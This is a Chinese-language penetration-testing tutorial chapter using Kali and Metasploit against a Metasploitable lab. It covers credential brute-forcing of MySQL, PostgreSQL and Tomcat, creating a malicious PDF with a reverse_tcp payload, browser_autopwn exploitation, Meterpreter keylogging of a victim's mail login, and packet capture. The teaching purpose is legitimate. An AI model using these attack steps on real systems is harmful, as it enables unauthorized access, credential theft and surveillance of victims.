kali 系列學習10-滲透攻擊MySQL數據庫服務、PostgreSQL數據庫服務、Tomcat服務和PDF文件


介紹使用MSFCONSOLE工具滲透攻擊MySQL數據庫服務、PostgreSQL數據庫服務、Tomcat服務和PDF文件等。

6.4.1 滲透攻擊MySQL數據庫服務

MySQL是一個關系型數據庫管理系統,由瑞典MySQL AB公司開發,目前屬於Oracle公司。在Metasploitable系統中,MySQL的身份認證存在漏洞。該漏洞有可能會讓潛在的攻擊者不必提供正確的身份證書便可訪問MySQL數據庫。所以,用戶可以利用該漏洞,對MySQL服務進行滲透攻擊。恰好Metasploit框架提供了一套針對MySQL數據庫的輔助模塊,可以幫助用戶更有效的進行滲透測試。本小節將介紹使用Metasploit的MySQL掃描模塊滲透攻擊MySQL數據庫服務。滲透攻擊Metasploitable系統中MySQL數據庫服務的具體操作步驟如下所示。

(1)啟動MSFCONSOLE。執行命令如下所示:

root@kali:~# msfconsole 

(2)掃描所有有效的MySQL模塊。執行命令如下所示:

輸出的信息顯示了MySQL上可用的模塊。從這些模塊中,選擇滲透攻擊的模塊進行攻擊。

(3)這里使用MySQL掃描模塊。執行命令如下所示:

msf > use auxiliary/scanner/mysql/mysql_login msf auxiliary(mysql_login) > 

(4)顯示模塊的有效選項。執行命令如下所示:

以上的信息顯示了在mysql_login模塊下可設置的選項。從輸出的結果中可以看到顯示了四列信息,分別是選項名稱、當前設置、需求及描述。其中Required為yes的選項是必須配置的,反之可以不用配置。對於選項的作用,Description都有相應的介紹。

(5)為滲透攻擊指定目標系統、用戶文件和密碼文件的位置。執行命令如下所示:

msf auxiliary(mysql_login) > set RHOSTS 192.168.41.142 RHOST => 192.168.41.142 msf auxiliary(mysql_login) > set user_file /root/Desktop/usernames.txt user_file => /root/Desktop/usernames.txt msf auxiliary(mysql_login) > set pass_file /root/Desktop/passwords.txt pass_file => /root/Desktop/passwords.txt 

以上信息設置了目標系統的地址,用戶文件和密碼文件的路徑。

(6)啟動滲透攻擊。執行命令如下所示:

msf auxiliary(mysql_login) > exploit
[deprecated] I18n.enforce_available_locales will default to true in the future. If you really want to skip validation of your locale you can set I18n.enforce_available_locales = false to avoid this message. [*] 192.168.41.142:3306 MYSQL - Found remote MySQL version 5.0.51a [*] 192.168.41.142:3306 MYSQL - [01/40] - Trying username:'sa' with password:" [-] Access denied [*] 192.168.41.142:3306 MYSQL - [02/40] - Trying username:'root' with password:" [+] 192.168.41.142:3306 - SUCCESSFUL LOGIN 'root' : " [*] 192.168.41.142:3306 MYSQL - [03/40] - Trying username:'bob' with password:" [-] Access denied [*] 192.168.41.142:3306 MYSQL - [04/40] - Trying username:'ftp' with password:" [-] Access denied [*] 192.168.41.142:3306 MYSQL - [05/40] - Trying username:'apache' with password:" [-] Access denied [*] 192.168.41.142:3306 MYSQL - [06/40] - Trying username:'named' with password:" [-] Access denied [*] 192.168.41.142:3306 MYSQL - [07/40] - Trying username:'sa' with password:'sa' [-] Access denied [*] 192.168.41.142:3306 MYSQL - [35/40] - Trying username:'named' with password:'password' [-] Access denied [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 

輸出的信息是滲透攻擊的一個過程,嘗試使用指定的用戶名/密碼文件中的用戶名和密碼連接MySQL服務器。在滲透攻擊過程中,Metasploit會嘗試輸入用戶名和密碼文件包含的用戶名和密碼組合。從輸出的信息中可以看到,已測試出MySQL數據庫服務器的用戶名和密碼分別是root和password。

6.4.2 滲透攻擊PostgreSQL數據庫服務

PostgreSQL是一個自由的對象——關系數據庫服務(數據庫管理系統)。它在靈活的BSD-風格許可證下發行。當第一次啟動msfconsole時,Kali中的Metasploit會創建名稱為msf3的PostgreSQL數據庫,並生成保存滲透測試數據所需的數據表。然后,使用名稱為msf3的用戶,自動連接到msf3數據庫。所以,攻擊者可以利用這樣的漏洞自動的連接到PostgreSQL數據庫。本小節將介紹使用Metasploit的PostgreSQL掃描模塊滲透攻擊PostgreSQL數據庫服務。滲透攻擊PostgreSQL數據庫服務的具體操作步驟如下所示。

(1)啟動MSFCONSOLE。執行命令如下所示:

root@kali:~# msfconsole 

(2)搜索所有有效的PostgreSQL模塊。執行命令如下所示:

以上信息顯示了PostgreSQL所有相關的模塊。此時可以選擇相應的模塊進行攻擊。

(3)使用PostgreSQL掃描模塊。執行命令如下所示:

msf > use auxiliary/scanner/postgres/postgres_login 

(4)查看PostgreSQL模塊的所有選項。執行命令如下所示:

以上信息顯示了postgres_login模塊中可配置的選項。根據用戶的攻擊情況,選擇相應選項進行配置。

(5)使用RHOST選項設置目標系統(本例中為Metasploitable 2)。執行命令如下所示:

msf auxiliary(postgres_login) > set RHOSTS 192.168.41.142 RHOST => 192.168.41.142 

(6)指定用戶名文件。執行命令如下所示:

msf auxiliary(postgres_login) > set user_file /usr/share/metasploit- framework/data/wordlists/ postgres_default_user.txt user_file => /usr/share/metasploit-framework/data/wordlists /postgres_default_user.txt 

(7)指定密碼文件。執行命令如下所示:

msf auxiliary(postgres_login) > set pass_file /usr/share/metasploit- framework/data/wordlists/ postgres_default_pass.txt pass_file => /usr/share/metasploit-framework/data/wordlists/ postgres_default_pass.txt 

(8)運行滲透攻擊。執行命令如下所示:

msf auxiliary(postgres_login) > exploit [*] 192.168.41.142:5432 Postgres - [01/21] - Trying username:'postgres' with password:" on database 'template1' [-] 192.168.41.142:5432 Postgres - Invalid username or password: 'postgres':" [-] 192.168.41.142:5432 Postgres - [01/21] - Username/Password failed. [*] 192.168.41.142:5432 Postgres - [02/21] - Trying username:" with password:" on database 'template1' [-] 192.168.41.142:5432 Postgres - Invalid username or password: ":" [-] 192.168.41.142:5432 Postgres - [02/21] - Username/Password failed. [*] 192.168.41.142:5432 Postgres - [03/21] - Trying username:'scott' with password:" on database 'template1' [-] 192.168.41.142:5432 Postgres - Invalid username or password: 'scott':" [-] 192.168.41.142:5432 Postgres - [03/21] - Username/Password failed. [*] 192.168.41.142:5432 Postgres - [04/21] - Trying username:'admin' with password:" on database 'template1' [-] 192.168.41.142:5432 Postgres - Invalid username or password: 'admin':" [-] 192.168.41.142:5432 Postgres - [04/21] - Username/Password failed. [*] 192.168.41.142:5432 Postgres - [05/21] - Trying username:'postgres' with password:'postgres' on database 'template1' [+] 192.168.41.142:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres' [+] 192.168.41.142:5432 Postgres - Success: postgres:postgres (Database 'template1' succeeded.) [*] 192.168.41.142:5432 Postgres - Disconnected [*] 192.168.41.142:5432 Postgres - [06/21] - Trying username:'scott' with password:'scott' on database 'template1' [-] 192.168.41.142:5432 Postgres - Invalid username or password: 'scott':'scott' [-] 192.168.41.142:5432 Postgres - [06/21] - Username/Password failed. [*] 192.168.41.142:5432 Postgres - [07/21] - Trying username:'admin' with password:'admin' on database 'template1' …… [-] 192.168.41.142:5432 Postgres - Invalid username or password: 'scott':'admin' [-] 192.168.41.142:5432 Postgres - [16/21] - Username/Password failed. [*] 192.168.41.142:5432 Postgres - [17/21] - Trying username:'admin' with password:'tiger' on database 'template1' [-] 192.168.41.142:5432 Postgres - Invalid username or password: 'admin':'tiger' [-] 192.168.41.142:5432 Postgres - [17/21] - Username/Password failed. [*] 192.168.41.142:5432 Postgres - [18/21] - Trying username:'admin' with password:'postgres' on database 'template1' [-] 192.168.41.142:5432 Postgres - Invalid username or password: 'admin':'postgres' [-] 192.168.41.142:5432 Postgres - [18/21] - Username/Password failed. [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 

以上輸出的信息是PostgreSQL滲透攻擊的一個過程。測試到PostgreSQL數據庫服務的用戶名和密碼分別是Postgres和Postgres。

6.4.3 滲透攻擊Tomcat服務

Tomcat服務器是一個免費的開放源代碼的Web應用服務器。它可以運行在Linux和Windows等多個平台上。由於其性能穩定、擴展性好和免費等特點深受廣大用戶的喜愛。目前,互聯網上絕大多數Java Web等應用都運行在Tomcat服務器上。Tomcat默認存在一個管理后台,默認的管理地址是http://IP或域名:端口/manager/html。通過此后台,可以在不重啟Tomcat服務的情況下方便地部署、啟動、停止或卸載Web應用。但是如果配置不當的話就存在很大的安全隱患。攻擊者利用這個漏洞,可以非常快速、輕松地入侵一台服務器。本小節將介紹滲透攻擊Tomcat服務的方法。滲透攻擊Tomcat服務的具體操作步驟如下所示。

(1)啟動MSFCONSOLE。執行命令如下所示:

root@kali:~# msfconsole 

(2)搜索所有有效的Tomcat模塊。執行命令如下所示:

以上輸出的信息顯示了Tomcat服務的可用模塊。現在用戶可以選擇易攻擊的模塊,進行滲透攻擊。

(3)使用Tomcat管理登錄模塊進行滲透攻擊。執行命令如下所示:

msf auxiliary(postgres_login) > use auxiliary/scanner/http/ tomcat_mgr_login 

(4)查看tomcat_mgr_login模塊的有效選項。執行命令如下所示:

以上輸出的信息顯示了tomcat_mgr_login模塊中有效的選項。此時用戶可以選擇相應的模塊,進行配置。

(5)設置Pass_File選項。執行命令如下所示:

msf auxiliary(tomcat_mgr_login) > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt PASS_FILE => /usr/share/metasploit-framework/data/wordlists/ tomcat_mgr_default_pass.txt 

以上輸出的信息顯示了指定密碼文件的絕對路徑。

(6)設置User_File選項。執行命令如下所示:

msf auxiliary(tomcat_mgr_login) > set USER_FILE /usr/share/metasploit- framework/data/wordlists/tomcat_mgr_default_users.txt USER_FILE => /usr/share/metasploit-framework/data/wordlists/ tomcat_mgr_default_users.txt 

以上輸出的信息顯示了指定用戶名文件的決定路徑。

(7)使用RHOSTS選項設置目標系統(本例使用的是Metasploitable 2)。執行命令如下所示:

msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.41.142 RHOSTS => 192.168.41.142 

輸出的信息表示指定攻擊的目標系統地址為192.168.41.142。

(8)設置RPORT選項為8180。執行命令如下所示:

msf auxiliary(tomcat_mgr_login) > set RPORT 8180 RPORT => 8180 

以上信息設置了攻擊目標系統的端口號為8180。 (9)運行滲透攻擊。執行命令如下所示:

msf > exploit [*] 192.168.41.142:8180 TOMCAT_MGR - [01/63] - Trying username:" with password:" [-] 192.168.41.142:8180 TOMCAT_MGR - [01/63] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as " [*] 192.168.41.142:8180 TOMCAT_MGR - [02/63] - Trying username:'admin' with password:" [-] 192.168.41.142:8180 TOMCAT_MGR - [02/63] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'admin' [*] 192.168.41.142:8180 TOMCAT_MGR - [12/63] - Trying username:'xampp' with password:" [-] 192.168.41.142:8180 TOMCAT_MGR - [12/63] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'xampp' [*] 192.168.41.142:8180 TOMCAT_MGR - [13/63] - Trying username:'admin' with password:'admin' [-] 192.168.41.142:8180 TOMCAT_MGR - [13/63] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'admin' [*] 192.168.41.142:8180 TOMCAT_MGR - [14/63] - Trying username:'manager' with password:'manager' [-] 192.168.41.142:8180 TOMCAT_MGR - [14/63] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'manager' [*] 192.168.41.142:8180 TOMCAT_MGR - [15/63] - Trying username:'role1' with password:'role1' [-] 192.168.41.142:8180 TOMCAT_MGR - [15/63] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'role1' [*] 192.168.41.142:8180 TOMCAT_MGR - [16/63] - Trying username:'root' with password:'root' [-] 192.168.41.142:8180 TOMCAT_MGR - [16/63] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'root' [*] 192.168.41.142:8180 TOMCAT_MGR - [17/63] - Trying username:'tomcat' with password:'tomcat' [+] http://192.168.41.142:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat' [*] 192.168.41.142:8180 TOMCAT_MGR - [18/63] - Trying username:'both' with password:'both' [-] 192.168.41.142:8180 TOMCAT_MGR - [18/63] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'both' [*] 192.168.41.142:8180 TOMCAT_MGR - [58/63] - Trying username:'both' with password:'s3cret' [-] 192.168.41.142:8180 TOMCAT_MGR - [58/63] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'both' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 

以上輸出信息顯示了攻擊Tomcat服務的一個過程。從輸出的結果中可以看到登錄Tomcat服務的用戶名和密碼都為tomcat。

6.4.4 滲透攻擊Telnet服務

Telnet服務是一種“客戶端/服務器”架構,在整個Telnet運行的流程架構中一定包括兩個組件,分別是Telnet服務器和Telnet客戶端。由於Telnet是使用明文的方式傳輸數據的,所以並不安全。這里就可以使用Metasplolit中的一個模塊,可以破解出Telnet服務的用戶名和密碼。下面將介紹滲透攻擊Telnet服務。

(1)啟動MSF終端。執行命令如下所示:

root@kali:~# msfconsole msf> 

(2)使用telnet_version模塊,並查看可配置的選項參數。執行命令如下所示:

從輸出的信息中,可以看到有四個必須配置選項。其中三個選項已經配置,現在配置RHOSTS選項。

(3)配置RHOSTS選項,並啟動掃描。執行命令如下所示:

從以上輸出的信息,僅看到一堆文本信息。但是在這些信息中可以看到,顯示了Telnet的登錄認證信息Login with msfadmin/msfadmin to get started。從這條信息中,可以得知目標主機Telnet服務的用戶名和密碼都為msfadmin。此時可以嘗試登錄。

(4)登錄目標主機的Telnet服務。執行命令如下所示:

root@kali:~# telnet -l msfadmin 192.168.6.105 Trying 192.168.6.105… Connected to 192.168.6.105. Escape character is '^]'. Password: #輸入密碼msfadmin Last login: Tue Jul 8 06:32:46 EDT 2014 on tty1 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ No mail. msfadmin@metasploitable:~$ 

以上信息顯示了登錄Telnet服務的信息。在輸出信息中看到msfadmin@metasploitable:~$提示符,則表示成功登錄了Telnet服務。此時可以執行一些標准的Linux命令。例如,查看多個組的成員,執行命令如下所示:

msfadmin@metasploitable:~$ id uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom), 25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) 

輸出信息中顯示了msfadmin用戶的相關信息。其中,gid表示groups中第1個組賬號為該用戶的基本組,groups中的其他組賬號為該用戶的附加組。

6.4.5 滲透攻擊Samba服務

Samba是一套實現SMB(Server Messages Block)協議、跨平台進行文件共享和打印共享服務的程序。Samba服務對應的端口有139和445等,只要開啟這些端口后,主機就可能存在Samba服務遠程溢出漏洞。下面將介紹滲透攻擊Samba服務器。

(1)啟動MSF終端。執行命令如下所示:

root@kali:~# msfconsole msf> 

(2)使用smb_version模塊,並查看該模塊可配置的選項參數。執行命令如下所示:

(3)配置RHOSTS選項。執行命令如下所示:

msf auxiliary(smb_version) > set RHOSTS 192.168.6.105 RHOSTS => 192.168.6.105 

(4)啟動掃描。執行命令如下所示:

msf auxiliary(smb_version) > exploit [*] 192.168.6.105:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 

從輸出的信息中,可以看到掃描到正在運行的Samba服務器及其版本。

在Metasploit中使用smb_version模塊,還可以指定掃描某個網絡內所有運行Samba服務器的主機。下面將介紹掃描192.168.6.0/24網絡內開啟Samba服務器的所有主機。

(1)選擇使用smb_version模塊。執行命令如下所示:

msf > use auxiliary/scanner/smb/smb_version 

(2)配置smb_version模塊中可配置的選項參數。執行命令如下所示:

msf auxiliary(smb_version) > set RHOSTS 192.168.6.0/24 RHOSTS => 192.168.6.0/24 msf auxiliary(smb_version) > set THREADS 255 THREADS => 255 

(3)啟動掃描。執行命令如下所示:

msf auxiliary(smb_version) > exploit [*] 192.168.6.106:445 is running Windows 7 Ultimate 7601 Service Pack (Build 1) (language: Unknown) (name:WIN-RKPKQFBLG6C) (domain:WORKGROUP) [*] 192.168.6.105:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP) [*] 192.168.6.104:445 is running Windows XP Service Pack 0 / 1 (language: Chinese - Traditional) (name:LYW) (domain:LYW) [*] 192.168.6.110:445 is running Windows XP Service Pack 0 / 1 (language: Chinese - Traditional) (name:AA-886OKJM26FSW) (domain:WORKGROUP) [*] Scanned 255 of 256 hosts (099% complete) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed 

從輸出的信息中,可以看到192.168.6.0/24網絡內有四台主機上正在運行着Samba服務器。在顯示的信息中,可以看到運行Samba服務器的操作系統類型。掃描到開啟Samba服務器的主機后,就可以進行滲透攻擊了。

6.4.6 PDF文件攻擊

PDF是一種文件格式,該文件的使用比較廣泛,並且容易傳輸。通常在工作中,用戶都是從工作程序中打開了一個合法的PDF文檔。當打開該文檔時,該用戶的主機就有可能被攻擊。Metasploit提供了一個滲透攻擊模塊,可以來創建一個攻擊載荷,通過傳遞該攻擊載荷對目標系統進行滲透攻擊。本小節將介紹創建PDF文件攻擊載荷。

創建PDF文件的具體操作步驟如下所示。

(1)啟動MSFCONSOLE。執行命令如下所示:

root@kali:~# msfconsole 

(2)搜索所有有效的PDF模塊。執行命令如下所示:

以上輸出信息顯示了PDF所有可用的模塊。此時可以選擇相應模塊進行配置,配置后方便進行攻擊。

(3)使用Adobe PDF Embedded EXE模塊。執行命令如下所示:

msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe 

(4)查看adobe_pdf_embedded_exe模塊有效的選項。執行命令如下所示:

以上信息顯示了adobe_pdf_embedded_exe模塊所有可用的選項。此時配置必須的選項,然后進行滲透攻擊。

(5)設置用戶想要生成的PDF文件名。執行命令如下所示:

msf exploit(adobe_pdf_embedded_exe) > set FILENAME evildocument.pdf FILENAME => evildocument.pdf 

(6)設置INFILENAME選項。為了利用,使用該選項指定用戶訪問的PDF文件位置。執行命令如下所示:

msf exploit(adobe_pdf_embedded_exe) > set INFILENAME /root/Desktop/ willie.pdf INFILENAME => /root/Desktop/willie.pdf 

(7)運行exploit。執行命令如下所示:

msf exploit(adobe_pdf_embedded_exe) > exploit
[*] Reading in '/root/Desktop/willie.pdf'… [*] Parsing '/root/Desktop/willie.pdf'… [*] Using 'windows/meterpreter/reverse_tcp' as payload… [*] Parsing Successful. Creating 'evildocument.pdf' file… [+] evildocument.pdf stored at /root/.msf4/local/evildocument.pdf 

輸出的信息顯示了evildocument.pdf文件已經生成,而且被保存到/root/.msf4/local目錄中。

6.4.7 使用browser_autopwn模塊滲透攻擊瀏覽器

Browser Autopwn是由Metasploit提供的一個輔助模塊。當訪問一個Web頁面時,它允許用戶自動地攻擊一個入侵主機。Browser Autopwn在攻擊之前,會先進行指紋信息操作,這意味着它不會攻擊Mozilla Firefox瀏覽器,而只會攻擊系統自帶的Internet Explorer 7瀏覽器。本小節將介紹browser_autopwn模塊的使用。

加載browser_autopwn模塊的具體操作步驟如下所示。

(1)啟動MSFCONSOLE。執行命令如下所示:

root@kali:~# msfconsole 

(2)查詢autopwn模塊。

輸出的信息顯示了有一個autopwn模塊。

(3)使用browser_autopwn模塊。執行命令如下所示:

msf > use auxiliary/server/browser_autopwn 

執行以上命令后,沒有任何信息輸出。

(4)設置payload。執行命令如下所示:

msf auxiliary(browser_autopwn) > set payload windows/meterpreter/ reverse_tcp payload => windows/meterpreter/reverse_tcp 

(5)查看payload的選項。執行命令如下所示:

輸出的信息顯示了payload模塊的選項。此時就可以選擇需要設置的選項進行配置。

(6)配置LHOST選項。執行命令如下所示:

msf auxiliary(browser_autopwn) > set LHOST 192.168.41.234 LHOST => 192.168.41.234 

以上輸出的信息表示指定本地主機使用的IP地址是192.168.41.234。

(7)配置URIPATH選項。執行命令如下所示:

msf auxiliary(browser_autopwn) > set URIPATH "filetypes" URIPATH => filetypes 

(8)啟用滲透攻擊。執行命令如下所示:

msf auxiliary(browser_autopwn) > exploit
[*] Auxiliary module execution completed [*] Setup [*] Obfuscating initial javascript 2014-04-30 19:00:49 +0800 [*] Done in 0.718574284 seconds msf auxiliary(browser_autopwn) > [*] Starting exploit modules on host 192.168.41.234… [*] --- [*] Starting exploit multi/browser/java_atomicreferencearray with payload java/meterpreter/ reverse_tcp [*] Using URL: http://0.0.0.0:8080/BjlwyiXpeQHIG [*] Local IP: http://192.168.41.234:8080/BjlwyiXpeQHIG [*] Server started. [*] Starting exploit multi/browser/java_jre17_jmxbean with payload java/meterpreter/reverse_tcp [*] Using URL: http://0.0.0.0:8080/NVVrXNZ [*] Local IP: http://192.168.41.234:8080/NVVrXNZ [*] Server started. …省略部分內容… [*] Started reverse handler on 192.168.41.234:6666 [*] Started reverse handler on 192.168.41.234:7777 [*] Starting the payload handler… [*] Starting the payload handler… [*] --- Done, found 16 exploit modules [*] Using URL: http://0.0.0.0:8080/filetypes [*] Local IP: http://192.168.41.234:8080/filetypes [*] Server started. [*] 192.168.41.146 browser_autopwn - Handling '/filetypes' #訪問主機的客戶端 [*] 192.168.41.146 browser_autopwn - Handling '/filetypes' [*] Meterpreter session 1 opened (192.168.41.234:3333 -> 192.168.41.146:1073) at 2014-04-30 19:16:54 +0800 [*] Sending stage (769024 bytes) to 192.168.41.146 [*] Session ID 1 (192.168.41.234:3333 -> 192.168.41.146:1071) processing InitialAutoRunScript 'migrate -f' [+] Successfully migrated to process [*] Current server process: qjRc.exe (1824) [*] Spawning notepad.exe process to migrate to [+] Migrating to 1260 

以上輸出信息是一個漏洞攻擊過程。此過程中輸出的內容較多,由於篇幅的原因,中間部分內容使用省略號(……)取代了。從輸出的過程中看到客戶端192.168.41.146訪問了192.168.41.234主機,並成功建立了一個活躍的會話。該會話是由客戶端訪問后產生的。當滲透測試啟動后,在客戶端的IE瀏覽器中輸入http://IPAddress:8080/filetypes訪問主機,將產生活躍的會話。

(9)從第(8)步的輸出結果中可以看到,成功建立的會話ID為1。為了激活此會話,執行命令如下所示:

msf auxiliary(browser_autopwn) > sessions -i 1 [*] Starting interaction with 1… meterpreter > 

從輸出的結果中可以看到,啟動了交互會話1進入到了Meterpreter命令行。

(10)查看能運行的Meterpreter命令列表。執行命令如下所示:

輸出的信息顯示了Meterpreter命令行下可運行的所有命令。輸出的信息中,每個命令的作用都有詳細的描述。用戶可以根據自己的情況,執行相應的命令。

(11)啟動鍵盤輸入,執行命令如下所示:

meterpreter > keyscan_start Starting the keystroke sniffer… 

(12)獲取鍵盤輸入信息,執行命令如下所示:

meterpreter > keyscan_dump
Dumping captured keystrokes…
<Back> <Back> <Back> <Back> <N1> <N0> <N1> <N2> <N0> <N7> <N3> <N5> <N5> <N4> <Back> <Back> <Back> <Back> <Back> mail.qq.com <Return> <N1> <N2> <N3> <N4> <N5> <N6> <N7> <N8> <N9> <N1> 123456 <Return> 

輸出的信息顯示了客戶端在瀏覽器中輸入的所有信息。如訪問了mail.qq.com網站,登錄的郵箱地址為1234567891,密碼為123456。

6.4.8 在Metasploit中捕獲包

在Metasploit中,通過使用模塊進行滲透攻擊可以獲取到一個Meterpreter Shell。在Meterpreter Shell中,可以捕獲目標系統中的數據包。下面將介紹如何在Metasploit中捕獲數據包。

(1)首先要確定獲取到一個活躍的會話,並有一個連接到目標主機的Meterpreter Shell。下面是Windows 7連接到攻擊主機的一個Meterpreter Shell,如下所示:

msf exploit(handler) > exploit [*] Started reverse handler on 192.168.6.103:4444 [*] Starting the payload handler… [*] Sending stage (769536 bytes) to 192.168.6.110 [*] Meterpreter session 1 opened (192.168.6.103:4444 -> 192.168.6.110:2478) at 2014-07-17 10:44:47 +0800 meterpreter > 

從輸出的信息中,可以看到成功的打開了一個Meterpreter會話。接下來,就可以使用run packetrecorder命令捕獲目標系統的數據包了。

(2)查看packetrecorder命令的參數。執行命令如下所示:

meterpreter > run packetrecorder
Meterpreter Script for capturing packets in to a PCAP file on a target host given a interface ID. OPTIONS: -h Help menu. -i <opt> Interface ID number where all packet capture will be done. -l <opt> Specify and alternate folder to save PCAP file. -li List interfaces that can be used for capture. -t <opt> Time interval in seconds between recollection of packet, default 30 seconds. 

以上輸出的信息顯示run packetrecorder命令的作用和可用選項參數。在捕獲數據前,首先要指定捕獲接口。所以,需要查看主機中可用的捕獲接口。

(3)查看可用的捕獲網絡接口。執行命令如下所示:

meterpreter > run packetrecorder -li
1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false ) 

從輸出的信息中,可以看到只有一個網絡接口。

(4)指定捕獲接口開始捕獲數據,並將捕獲的文件保存到桌面上。執行命令如下所示:

meterpreter > run packetrecorder -i 1 -l /root/Desktop [*] Starting Packet capture on interface 1 [+] Packet capture started [*] Packets being saved in to /root/Desktop/logs/packetrecorder/ AA-886OKJM26FSW_ 20140717.2700/AA-886OKJM26FSW_20140717.5608.cap [*] Packet capture interval is 30 Seconds …… ^C [*] Interrupt [+] Stopping Packet sniffer… 

執行以上命令后,將開始捕獲目標主機的數據。捕獲的文件將會保存到指定位置的一個logs目錄中。以上捕獲過程不會自動停止,如果要停止,則按下Ctrl+C組合鍵。

在Metasploit中捕獲的數據包,可以使用Wireshark工具打開並進行分析。在Kali Linux中,默認已經安裝了Wireshark工具。

【實例6-3】下面演示使用Wireshark工具,打開捕獲的文件。具體操作步驟如下所示。

(1)啟動Wireshark,使它在后台運行。執行命令如下所示:

root@kali:~# wireshark & 

或者在圖形界面依次選擇“應用程序”|Kali Linux|Top 10 Security Tools|wireshark命令,將顯示如圖6.16所示的界面。

圖6.16 警告信息

(2)該界面顯示的警告信息是因為當前使用超級用戶運行該程序的。此時單擊“確定”按鈕,將顯示如圖6.17所示的界面。

圖6.17 Wireshark主界面

(3)該界面就是Wireshark的主界面。此時在菜單欄中依次選擇File|Open命令,選擇要打開的捕獲文件。打開捕獲文件,界面如圖6.18所示。

圖6.18 捕獲的數據包

(4)從該界面可以看到捕獲的所有數據包。在Wireshark中,還可以通過使用各種顯示過濾器過濾一類型的數據包。如果想查看一個完整的會話,右鍵單擊任何一行並選擇Follow TCP Stream命令查看,如圖6.19所示。

圖6.19 FTP會話

(5)該界面顯示了一個完整的FTP會話。如登錄FTP服務器的用戶名、密碼、端口及訪問的目錄等。

在Kali中,可以使用Xplico工具分析Wireshark捕獲的文件。但是,該文件的格式必須是.pcap。該工具默認在Kali中沒有安裝,需要先安裝才可以使用。下面將介紹安裝並使用Xplico工具分析數據包。

安裝Xplico工具。執行命令如下所示:

root@kali:~# apt-get install xplico 

執行以上命令后,運行過程中沒有報錯的話,則Xplico工具就安裝成功了。接下來還需要將Xplico服務啟動,才可以使用。由於Xplico基於Web界面,所以還需要啟動Apache 2服務。

啟動Apache服務。執行命令如下所示:

root@kali:~# service apache2 start [OK] Start web server: apache2. 

從輸出的信息中,可以看到Apache2服務已啟動。

注意:在某個系統中啟動Apache 2服務時,可能會出現[….] Starting web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName信息。這是因為Apache 2服務器的配置文件中沒有配置ServerName選項,該信息不會影響Web服務器的訪問。

啟動Xplico服務。執行命令如下所示:

root@kali:~# service xplico start [....] Starting : XplicoModifying priority to -1 . ok 

從以上輸出信息,可以看到Xplico服務已成功啟動。現在就可以使用Xplico服務了。

【實例6-4】使用Xplico工具解析捕獲的pcap文件。具體操作步驟如下所示。

(1)在瀏覽器中輸入http://localhost:9876,將打開如圖6.20所示的界面。

圖6.20 Xplico登錄界面

(2)該界面用來登錄Xplico服務。Xplico默認的用戶名和密碼都是xplico,輸入用戶名和密碼成功登錄Xplico后,將顯示如圖6.21所示的界面。

圖6.21 案例列表

(3)從該界面可以看到沒有任何內容。默認Xplico服務中,沒有任何案例及會話。需要創建案例及會話后,才可以解析pcap文件。首先創建案例,在該界面單擊左側欄中的New Case命令,將顯示如圖6.22所示的界面。

圖6.22 新建案例

(4)在該界面選擇Uploading PCAP capture file/s,並指定案例名。本例中設置為Test,然后單擊Create按鈕,將顯示如圖6.23所示的界面。

圖6.23 新建的案例

(5)在該界面的案例列表中顯示了新建的案例。此時單擊Test,查看案例中的會話,如圖6.24所示。

圖6.24 監聽的會話

(6)從該界面可以看到沒有任何會話信息,接下來創建會話。單擊左側欄中的New Session命令,將顯示如圖6.25所示的界面。

圖6.25 新建會話

(7)在該界面Session name對應的文本框中輸入想創建的會話名,然后單擊Create按鈕,將顯示如圖6.26所示的界面。

圖6.26 新建的會話

(8)從該界面可以看到新建了一個名為Windows XP Target的會話。此時進入該會話中,就可以加載pcap文件解析分析了。單擊會話名WindowsXPtarget,將顯示如圖6.27所示的界面。

圖6.27 上傳pcap文件

(9)該界面是用來顯示pcap文件詳細信息的。目前還沒有上傳任何pcap文件,所以單擊Browse按鈕選擇要解析的捕獲文件。然后單擊Upload按鈕,將顯示如圖6.28所示的界面。

圖6.28 成功上傳了捕獲文件

(10)從該界面可以看到pcap文件分為幾個部分。關於pcap文件的每類型數據包,可以對應的查看。該界面顯示了10種類型,如HTTP、MMS、Emails、FTP-TFTP-HTTP file和Web Mail等。在該界面單擊左側欄中的Web並選擇Site命令,將顯示如圖6.29所示的界面。

圖6.29 顯示了捕獲文件中的站點

(11)該界面顯示了捕獲文件中所有訪問的站點,從該界面的底部可以看到共有8頁信息。在該界面也可以進行搜索。例如搜索baidu,將顯示如圖6.30所示的界面。

圖6.30 搜索結果

